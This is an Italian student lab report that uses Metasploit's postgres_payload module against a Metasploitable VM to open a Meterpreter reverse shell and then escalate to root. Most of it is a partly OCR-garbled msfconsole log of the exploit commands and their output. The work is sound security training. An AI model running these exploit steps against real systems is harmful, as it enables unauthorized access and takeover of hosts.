Privilege escalation

Esercizio di oggi:

Usa il modulo exploit/linux/postgres/postgres_payload per sfruttare una vulnerabilità nel servizio PostgreSQL di Metasploitable

Esegui l'exploit per ottenere una sessione Meterpreter sul sistema target.

Escalation di privilegi:

Una volta ottenuta la sessione Meterpreter, il tuo compito è eseguire un'escalation di privilegi per passare da un utente limitato a root utilizzando solo i mezzi forniti da msfconsole.

Esegui il comando getuid per verificare l'identità dell'utente corrente.

Msfconsole

```
File Actions Edit View Help
  s msfconsole metasploit tip: Writing a custom module? After editing your module, why not try
  RECENTRALICA RECEN
    =[ metasploit v6.4.18-dev
+ -- --=[ 2437 exploits - 1255 auxiliary - 429 post
+ -- --=[ 1471 payloads - 47 encoders - 11 nops
+ -- ---=[ 9 evasion
  Metasploit Documentation: https://docs.metasploit.com/
 msf6 > search exploit/linux/postgres/postgres_payload
 Matching Modules
          # Name
                                                                                                                                                 Disclosure Date Rank
                exploit/linux/postgres/postgres_payload 2007-06-05
\_ target: Linux x86
\_ target: Linux x86_64
                                                                                                                                                                                                                                                             PostgreSQL for Linux Payload Execution
Interact with a module by name or index. For example info 2, use 2 or use exploit/linux/postgres/postgres_payload After interacting with a module you can manually set a TARGET with set TARGET 'Linux \times 86_{-}64'
 msf6 > use exploit/linux/postgres/postgres_payload
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 exploit(linux/postgres/postgres_payload) > set rhosts 192.168.1.220
  rhosts ⇒ 192.168.1.220
msf6 exploit(limux/postgres/postgres_payload) > set lhost 192.169.1.102
 host = 192.169.1.102

<u>msf6</u> exploit(linux/postgres/postgres_payload) > exploit
  [*] Handler failed to bind to 192.169.1.102:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] 192.168.1.220:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/cSIBYpqE.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.1.220
[*] Meterpreter session 1 opened (192.168.1.102:4444 → 192.168.1.220:34819) at 2024-11-13 10:55:20 -0500
  meterpreter > getuid
  Server username: postgres
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(linux/postgres/postgres_paylcad) > sessions
  Active sessions
                                                                                                                                                                                                                                     Connection
                                   meterpreter x86/linux postgres @ metasploitable.localdomain 192.168.1.102:4444 → 192.168.1.220:34819 (192.168.1.220)
```

Suggester / Root

Relazione

Oggi ho sfruttato la vulnerabilità nel servizio PostgreSQL di Metasploitable utilizzando il modulo exploit/linux/postgres/postgres_payload di Metasploit, ottenendo una sessione Meterpreter.

- 1. Dopo aver acquisito l'accesso, per eseguire l'escalation dei privilegi a root, sono dovuto entrare in modalità background con il comando background.
- Successivamente, ho utilizzato il modulo suggester per individuare un exploit adatto a eseguire l'escalation dei privilegi.
- 3. Una volta eseguito l'exploit, ho confermato il successo dell'escalation con il comando getuid, ottenendo così privilegi di root.

Questo esercizio dimostra come sia possibile sfruttare una vulnerabilità in un servizio per ottenere accesso non autorizzato e poi eseguire l'escalation dei privilegi su un sistema.